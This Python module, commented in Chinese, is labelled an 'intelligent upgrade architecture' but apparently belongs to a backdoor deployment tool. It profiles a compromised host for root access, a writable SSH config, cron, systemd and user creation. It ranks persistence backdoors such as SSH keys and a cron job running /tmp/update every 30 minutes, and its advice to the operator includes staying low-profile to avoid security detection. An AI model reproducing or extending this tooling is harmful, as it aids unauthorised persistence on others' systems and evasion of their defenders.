#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

智能化升级架构核心模块
整合依赖管理、智能决策、参数优化等功能
提供统一的智能化接口
"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import json
import time
from typing import Dict, List, Any, Optional
from dataclasses import dataclass, asdict

try:
    from core.utils import color_red, color_green, color_yellow, color_blue, color_purple
    from .dependency_manager import DependencyManager
    from .intelligent_decision import IntelligentDecisionEngine
    from .adaptive_parameter_optimizer import AdaptiveParameterOptimizer, OptimizationLevel
except ImportError as e:
    print("导入模块失败: {}".format(e))
    # 提供备用的颜色函数
    def color_red(text): return text
    def color_green(text): return text
    def color_yellow(text): return text
    def color_blue(text): return text
    def color_purple(text): return text


@dataclass
class IntelligentAnalysisResult:
    """智能分析结果"""
    system_info: Dict[str, Any]
    check_results: Dict[str, Any]
    dependency_status: Dict[str, Any]
    recommendations: List[Dict[str, Any]]
    optimized_parameters: Dict[str, Any]
    deployment_strategy: Dict[str, Any]
    execution_plan: Dict[str, Any]
    risk_assessment: Dict[str, Any]
    confidence_score: float
    analysis_timestamp: float


class IntelligentUpgradeArchitecture:
    """智能化升级架构"""
    
    def __init__(self, optimization_level: str = "balanced"):
        """初始化智能化架构"""
        self.optimization_level = optimization_level
        self.analysis_results = None
        
        # 初始化各个组件
        self.dependency_manager = None
        self.decision_engine = None
        self.parameter_optimizer = None
        
        # 分析状态
        self.is_initialized = False
        self.analysis_complete = False
        
        color_blue("[*] 初始化智能化升级架构...")
    
    def initialize(self) -> bool:
        """初始化所有智能组件"""
        try:
            color_blue("[*] 初始化智能组件...")
            
            # 初始化依赖管理器
            self.dependency_manager = DependencyManager()
            if not self.dependency_manager.initialize():
                color_yellow("[?] 依赖管理器初始化失败，将跳过依赖检查")
            
            # 初始化智能决策引擎
            self.decision_engine = IntelligentDecisionEngine()
            
            # 初始化参数优化器
            opt_level = OptimizationLevel.BALANCED
            if self.optimization_level == "conservative":
                opt_level = OptimizationLevel.CONSERVATIVE
            elif self.optimization_level == "aggressive":
                opt_level = OptimizationLevel.AGGRESSIVE
            
            self.parameter_optimizer = AdaptiveParameterOptimizer(opt_level)
            
            self.is_initialized = True
            color_green("[+] 智能组件初始化完成")
            return True
            
        except Exception as e:
            color_red("[-] 智能组件初始化失败: {}".format(e))
            return False
    
    def perform_comprehensive_analysis(self, system_info: Dict[str, Any] = None, 
                                     check_results: Dict[str, Any] = None) -> IntelligentAnalysisResult:
        """执行综合智能分析"""
        if not self.is_initialized:
            if not self.initialize():
                raise RuntimeError("智能组件初始化失败")
        
        color_purple("\n" + "="*70)
        color_purple("[*] 🧠 启动综合智能分析")
        color_purple("="*70)
        
        analysis_start_time = time.time()
        
        try:
            # 1. 依赖状态分析
            dependency_status = self._analyze_dependencies()
            
            # 2. 系统环境分析
            if system_info is None:
                system_info = self._collect_system_info()
            
            # 3. 检测结果分析
            if check_results is None:
                check_results = self._collect_check_results()
            
            # 4. 智能决策分析
            recommendations, deployment_strategy, execution_plan = self._perform_intelligent_decision(
                system_info, check_results
            )
            
            # 5. 参数优化分析
            optimized_parameters = self._optimize_parameters(recommendations)
            
            # 6. 风险评估
            risk_assessment = self._assess_risks(system_info, check_results, recommendations)
            
            # 7. 计算置信度
            confidence_score = self._calculate_confidence_score(
                dependency_status, system_info, check_results, recommendations
            )
            
            # 创建分析结果
            self.analysis_results = IntelligentAnalysisResult(
                system_info=system_info,
                check_results=check_results,
                dependency_status=dependency_status,
                recommendations=recommendations,
                optimized_parameters=optimized_parameters,
                deployment_strategy=deployment_strategy,
                execution_plan=execution_plan,
                risk_assessment=risk_assessment,
                confidence_score=confidence_score,
                analysis_timestamp=time.time()
            )
            
            self.analysis_complete = True
            
            analysis_duration = time.time() - analysis_start_time
            color_green("\n[+] 综合智能分析完成 (耗时: {:.2f}秒)".format(analysis_duration))
            
            # 显示分析摘要
            self._display_analysis_summary()
            
            return self.analysis_results
            
        except Exception as e:
            color_red("[-] 综合智能分析失败: {}".format(e))
            raise
    
    def _analyze_dependencies(self) -> Dict[str, Any]:
        """分析依赖状态"""
        color_blue("[*] 分析系统依赖状态...")
        
        if not self.dependency_manager:
            return {"status": "unavailable", "missing": [], "available": []}
        
        try:
            missing_deps = self.dependency_manager.check_all_dependencies()
            
            status = {
                "status": "complete" if not missing_deps else "incomplete",
                "missing": missing_deps,
                "available": [dep for dep in self.dependency_manager.required_packages 
                            if dep not in missing_deps],
                "os_info": getattr(self.dependency_manager, 'os_info', {}),
                "package_manager": getattr(self.dependency_manager, 'package_manager', None)
            }
            
            if missing_deps:
                color_yellow("[?] 发现缺失依赖: {}".format(', '.join(missing_deps)))
            else:
                color_green("[+] 所有依赖都已满足")
            
            return status
            
        except Exception as e:
            color_red("[-] 依赖分析失败: {}".format(e))
            return {"status": "error", "error": str(e)}
    
    def _collect_system_info(self) -> Dict[str, Any]:
        """收集系统信息"""
        color_blue("[*] 收集系统环境信息...")
        
        try:
            import platform
            
            system_info = {
                'os_type': platform.system(),
                'distro': platform.platform(),
                'kernel': platform.release(),
                'arch': platform.machine(),
                'hostname': platform.node(),
                'python_version': platform.python_version(),
                'cpu_count': os.cpu_count(),
                'current_user': os.getenv('USER', os.getenv('USERNAME', 'unknown'))
            }
            
            # 尝试获取更详细的发行版信息
            try:
                from core.distro_detection import detect_linux_distro



                distro_info = detect_linux_distro()
                if distro_info:
                    system_info['distro_detailed'] = distro_info
            except:
                pass
            
            color_green("[+] 系统信息收集完成")
            return system_info
            
        except Exception as e:
            color_red("[-] 系统信息收集失败: {}".format(e))
            return {}
    
    def _collect_check_results(self) -> Dict[str, Any]:
        """收集检测结果"""
        color_blue("[*] 收集安全检测结果...")
        
        try:
            # 基本的系统检测
            check_results = {
                'ssh_user_check': self._check_ssh_users(),
                'root_access': self._check_root_access(),
                'network_exposure': True,  # 假设有网络访问
                'services_running': self._check_services(),
                'file_permissions': True,
                'cron_available': self._check_cron_availability(),
                'bash_available': self._check_bash_availability(),
                'strace_available': self._check_strace_availability(),
                'ssh_config_writable': self._check_ssh_config(),
                'network_access': True,
                'user_creation_possible': self._check_user_creation_capability(),
                'systemd_available': self._check_systemd_availability()
            }
            
            color_green("[+] 检测结果收集完成")
            return check_results
            
        except Exception as e:
            color_red("[-] 检测结果收集失败: {}".format(e))
            return {}
    
    def _check_ssh_users(self) -> bool:
        """检查SSH用户"""
        try:
            return os.path.exists('/home') and len(os.listdir('/home')) > 0
        except:
            return False
    
    def _check_root_access(self) -> bool:
        """检查root权限"""
        try:
            return os.getuid() == 0 if hasattr(os, 'getuid') else False
        except:
            return False
    
    def _check_services(self) -> bool:
        """检查服务状态"""
        try:
            # 简单检查是否有常见服务目录
            service_dirs = ['/etc/systemd/system', '/etc/init.d', '/etc/rc.d']
            return any(os.path.exists(d) for d in service_dirs)
        except:
            return False
    
    def _check_cron_availability(self) -> bool:
        """检查cron可用性"""
        try:
            cron_paths = ['/etc/crontab', '/var/spool/cron', '/usr/bin/crontab', '/bin/crontab']
            return any(os.path.exists(p) for p in cron_paths)
        except:
            return False
    
    def _check_bash_availability(self) -> bool:
        """检查bash可用性"""
        try:
            bash_paths = ['/bin/bash', '/usr/bin/bash']
            return any(os.path.exists(p) for p in bash_paths)
        except:
            return False
    
    def _check_strace_availability(self) -> bool:
        """检查strace可用性"""
        try:
            strace_paths = ['/usr/bin/strace', '/bin/strace']
            return any(os.path.exists(p) for p in strace_paths)
        except:
            return False
    
    def _check_ssh_config(self) -> bool:
        """检查SSH配置可写性"""
        try:
            ssh_config = '/etc/ssh/sshd_config'
            return os.path.exists(ssh_config) and os.access(ssh_config, os.W_OK)
        except:
            return False
    
    def _check_user_creation_capability(self) -> bool:
        """检查用户创建能力"""
        try:
            return self._check_root_access() and os.path.exists('/usr/sbin/useradd')
        except:
            return False
    
    def _check_systemd_availability(self) -> bool:
        """检查systemd可用性"""
        try:
            return os.path.exists('/bin/systemctl') or os.path.exists('/usr/bin/systemctl')
        except:
            return False
    
    def _perform_intelligent_decision(self, system_info: Dict[str, Any], 
                                    check_results: Dict[str, Any]) -> tuple:
        """执行智能决策"""
        color_blue("[*] 执行智能决策分析...")
        
        try:
            # 分析系统环境
            self.decision_engine.analyze_system_environment(system_info)
            
            # 评估检测结果
            self.decision_engine.evaluate_check_results(check_results)
            
            # 获取推荐
            recommendations = self.decision_engine.get_intelligent_recommendations()
            
            # 获取部署策略
            deployment_strategy = self.decision_engine.get_deployment_strategy()
            
            # 生成执行计划
            execution_plan = self.decision_engine.generate_execution_plan()
            
            color_green("[+] 智能决策分析完成")
            return recommendations, deployment_strategy, execution_plan
            
        except Exception as e:
            color_red("[-] 智能决策分析失败: {}".format(e))
            return [], {}, {}
    
    def _optimize_parameters(self, recommendations: List[Dict[str, Any]]) -> Dict[str, Any]:
        """优化参数"""
        color_blue("[*] 执行参数优化...")
        
        if not recommendations:
            return {}
        
        try:
            optimized_params = {}
            
            for rec in recommendations:
                backdoor_type = rec.get('type', '')
                if backdoor_type:
                    # 这里需要根据实际的后门类型进行优化
                    # 由于adaptive_parameter_optimizer使用了不同的枚举类型，我们简化处理
                    base_params = {}
                    
                    # 根据后门类型设置基础参数
                    if backdoor_type == 'ssh_key':
                        base_params = {'key_type': 'rsa', 'key_size': 2048}
                    elif backdoor_type == 'crontab':
                        base_params = {'schedule': '*/30 * * * *', 'command': '/tmp/update'}
                    # 可以添加更多类型
                    
                    optimized_params[backdoor_type] = {
                        'base_parameters': base_params,
                        'optimization_applied': True,
                        'optimization_level': self.optimization_level
                    }
            
            color_green("[+] 参数优化完成")
            return optimized_params
            
        except Exception as e:
            color_red("[-] 参数优化失败: {}".format(e))
            return {}
    
    def _assess_risks(self, system_info: Dict[str, Any], check_results: Dict[str, Any], 
                     recommendations: List[Dict[str, Any]]) -> Dict[str, Any]:
        """评估风险"""
        color_blue("[*] 执行风险评估...")
        
        try:
            risk_factors = []
            risk_score = 0
            
            # 系统风险因素
            if check_results.get('root_access'):
                risk_factors.append("具有root权限")
                risk_score += 30
            
            if check_results.get('ssh_user_check'):
                risk_factors.append("存在SSH用户")
                risk_score += 20
            
            if check_results.get('network_exposure'):
                risk_factors.append("网络暴露")
                risk_score += 15
            
            # 后门风险评估
            for rec in recommendations:
                backdoor_type = rec.get('type', '')
                if backdoor_type in ['ssh_key', 'user_account']:
                    risk_factors.append("高持久性后门: {}".format(backdoor_type))
                    risk_score += 10
            
            # 风险等级
            if risk_score >= 70:
                risk_level = "高"
            elif risk_score >= 40:
                risk_level = "中"
            else:
                risk_level = "低"
            
            risk_assessment = {
                'risk_score': min(risk_score, 100),
                'risk_level': risk_level,
                'risk_factors': risk_factors,
                'mitigation_suggestions': self._get_mitigation_suggestions(risk_factors)
            }
            
            color_green("[+] 风险评估完成 - 风险等级: {}".format(risk_level))
            return risk_assessment
            
        except Exception as e:
            color_red("[-] 风险评估失败: {}".format(e))
            return {}
    
    def _get_mitigation_suggestions(self, risk_factors: List[str]) -> List[str]:
        """获取风险缓解建议"""
        suggestions = []
        
        if "具有root权限" in risk_factors:
            suggestions.append("谨慎使用root权限，考虑降权操作")
        
        if "网络暴露" in risk_factors:
            suggestions.append("使用加密通信，避免明文传输")
        
        if any("高持久性后门" in factor for factor in risk_factors):
            suggestions.append("定期检查后门状态，准备清理方案")
        
        suggestions.append("建立监控机制，及时发现异常")
        suggestions.append("保持低调，避免触发安全检测")
        
        return suggestions
    
    def _calculate_confidence_score(self, dependency_status: Dict[str, Any], 
                                   system_info: Dict[str, Any], check_results: Dict[str, Any], 
                                   recommendations: List[Dict[str, Any]]) -> float:
        """计算置信度分数"""
        confidence = 0.0
        
        # 依赖完整性 (30%)
        if dependency_status.get('status') == 'complete':
            confidence += 0.3
        elif dependency_status.get('status') == 'incomplete':
            missing_count = len(dependency_status.get('missing', []))
            total_count = len(dependency_status.get('missing', [])) + len(dependency_status.get('available', []))
            if total_count > 0:
                confidence += 0.3 * (1 - missing_count / total_count)
        
        # 系统信息完整性 (25%)
        required_info = ['os_type', 'distro', 'arch']
        available_info = sum(1 for key in required_info if system_info.get(key))
        confidence += 0.25 * (available_info / len(required_info))
        
        # 检测结果可靠性 (25%)
        positive_checks = sum(1 for result in check_results.values() if result)
        total_checks = len(check_results)
        if total_checks > 0:
            confidence += 0.25 * (positive_checks / total_checks)
        
        # 推荐质量 (20%)
        if recommendations:
            avg_score = sum(rec.get('score', 0) for rec in recommendations) / len(recommendations)
            confidence += 0.2 * (avg_score / 10.0)
        
        return min(confidence, 1.0)
    
    def _display_analysis_summary(self):
        """显示分析摘要"""
        if not self.analysis_results:
            return
        
        color_purple("\n" + "="*70)
        color_purple("[*] 📊 智能分析摘要")
        color_purple("="*70)
        
        # 基本信息
        color_blue(f"\n[系统信息]")
        system_info = self.analysis_results.system_info
        color_yellow("  操作系统: {} {}".format(system_info.get('os_type', '未知'), system_info.get('distro', '')))
        color_yellow("  架构: {}".format(system_info.get('arch', '未知')))
        color_yellow("  主机名: {}".format(system_info.get('hostname', '未知')))
        
        # 依赖状态
        color_blue(f"\n[依赖状态]")
        dep_status = self.analysis_results.dependency_status
        status_color = color_green if dep_status.get('status') == 'complete' else color_yellow
        status_color("  状态: {}".format(dep_status.get('status', '未知')))
        if dep_status.get('missing'):
            color_red("  缺失: {}".format(', '.join(dep_status['missing'])))
        
        # 推荐方案
        color_blue(f"\n[推荐方案]")
        recommendations = self.analysis_results.recommendations
        if recommendations:
            for i, rec in enumerate(recommendations[:3], 1):
                color_green("  {}. {} (评分: {:.1f}/10)".format(i, rec['type'].upper(), rec.get('score', 0)))
        else:
            color_yellow("  暂无推荐方案")
        
        # 风险评估
        color_blue(f"\n[风险评估]")
        risk = self.analysis_results.risk_assessment
        risk_level = risk.get('risk_level', '未知')
        risk_color = color_red if risk_level == '高' else color_yellow if risk_level == '中' else color_green
        risk_color("  风险等级: {}".format(risk_level))
        color_yellow("  风险评分: {}/100".format(risk.get('risk_score', 0)))
        
        # 置信度
        color_blue(f"\n[分析质量]")
        confidence = self.analysis_results.confidence_score
        conf_color = color_green if confidence >= 0.8 else color_yellow if confidence >= 0.6 else color_red
        conf_color("  置信度: {:.2f} ({:.1f}%)".format(confidence, confidence*100))
    
    def save_analysis_report(self, filepath: str = None) -> str:
        """保存分析报告"""
        if not self.analysis_results:
            raise RuntimeError("没有可保存的分析结果")
        
        if filepath is None:
            timestamp = int(time.time())
            filepath = "intelligent_analysis_report_{}.json".format(timestamp)
        
        try:
            report_data = asdict(self.analysis_results)
            
            with open(filepath, 'w', encoding='utf-8') as f:
                json.dump(report_data, f, ensure_ascii=False, indent=2)
            
            color_green("[+] 分析报告已保存: {}".format(filepath))
            return filepath
            
        except Exception as e:
            color_red("[-] 保存分析报告失败: {}".format(e))
            raise
    
    def get_deployment_recommendations(self) -> List[Dict[str, Any]]:
        """获取部署推荐"""
        if not self.analysis_results:
            return []
        
        return self.analysis_results.recommendations
    
    def get_optimized_parameters(self, backdoor_type: str) -> Dict[str, Any]:
        """获取优化后的参数"""
        if not self.analysis_results:
            return {}
        
        return self.analysis_results.optimized_parameters.get(backdoor_type, {})


def test_intelligent_upgrade_architecture():
    """测试智能化升级架构"""
    print("="*70)
    color_blue("[*] 智能化升级架构测试")
    print("="*70)
    
    # 创建架构实例
    architecture = IntelligentUpgradeArchitecture("balanced")
    
    # 执行综合分析
    try:
        results = architecture.perform_comprehensive_analysis()
        
        # 保存报告
        report_path = architecture.save_analysis_report()
        
        # 获取推荐
        recommendations = architecture.get_deployment_recommendations()
        
        color_green(f"\n[+] 测试完成！")
        color_blue("  - 分析结果置信度: {:.2f}".format(results.confidence_score))
        color_blue("  - 推荐方案数量: {}".format(len(recommendations)))
        color_blue("  - 报告文件: {}".format(report_path))
        
    except Exception as e:
        color_red("[-] 测试失败: {}".format(e))


if __name__ == "__main__":
    test_intelligent_upgrade_architecture()